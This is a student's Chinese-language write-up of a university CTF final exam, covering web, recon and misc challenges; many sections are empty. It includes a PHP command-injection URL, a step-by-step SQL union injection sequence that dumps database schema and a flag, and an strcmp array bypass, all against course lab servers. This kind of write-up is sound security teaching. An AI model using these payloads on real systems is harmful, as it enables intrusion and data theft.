> # 【期末】上機 write-up

## `Web`
* ### HW-eval
> 
> * 由程式碼觀察，strpos函式結果為變數中第一次出現" 或 '的位置
die 會停止整個頁面的程式，並輸出函數中的字串或函數
> * 因此第一個字元輸入"讓strpos=0，再使用 . 來相接字串，利用ls指令GET參數如下
> * 可以觀察目錄底下有ffff11111113g.php及index.php兩個檔案
> http://140.134.25.138:24004/?cat=".`ls .` . "
> 

* ### HW-extract
> 
> 
> * 一開始這樣做結果失敗
> 
> * 然後到其它網站encrypt
> 
> * 結果錯，才發現原來最後需要自己配encrypt前與後的pair
> * 所以自己隨便打個password來encrypt結果成功了
> 
> 
> * http://140.134.25.138:24010/index.php?password=a&pass=86f7e437faa5a7fce15d1ddcb9eaeaea377667b8

* ### HW-Bypass II
> 
> 

* ### 這題真的很簡單
> 

* ### Fake IP++
> 
> * 換ip 和 host 到 127.0.0.1，使用了chrome extension改
> 
> 

* ### 伍佰
> 
> 
> 

* ### Give me more MAGIC
> 
> 
> * https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016
> * http://140.134.25.138:24009/index.php?password[]=%22%22

* ### Version v5
> 
> * gitleak 套件，找到ctf flag

* ### HW-UnionBase
> 
> * 先找出database
> * ' union select 'a','a', schema_name FROM information_schema.schemata;#
> 
> * 再找出table
> * ' union select 'a','a', table_name from information_schema.tables where table_schema = 'ctf';
> 
> * 再找出column
> * ' union select 'a','a', column_name FROM information_schema.columns WHERE table_name = 'ctfffff';
> 
> * 再找出flag
> * ' union select 'a','a', flagggggggggggg from ctfffff ;
> 

* ### eval++
> 
> 
> 

* ### 3C 達人 T1m 戈 ++
> * ip injection
> 
> 
> 
> 

* ### MAGIC
> 

* ### 3C 達人 T1m 戈
> 
> 
> 
> 

* ### SESSION
> 

* ### Simple Login
> 
> 

* ### 五卍
> 
> 

## `Recon`
* ### Blasting
> 
> 
> 
> 

* ### 這題真的很好玩！
> 
> 

* ### HTTP / HTTPS
> 
> * 在https://crt.sh/ 找subdomain %.tabby.tw
> 
> * https://iegwxztmmrtleqonqgzc.tabby.tw/
> 

## `Misc`
* ### Welcome!
> * 送分

* ### meme Cat
> 

* ### Info In S0mething
> 
> * QRcode就是flag

* ### Be ADMIN
> * 看到是ruby檔，有嘗試使用netcat，輸入什麼都無效。有看到stdin，有可能可以在輸入做一些操作，進入shell並讀取程式碼。
> 
>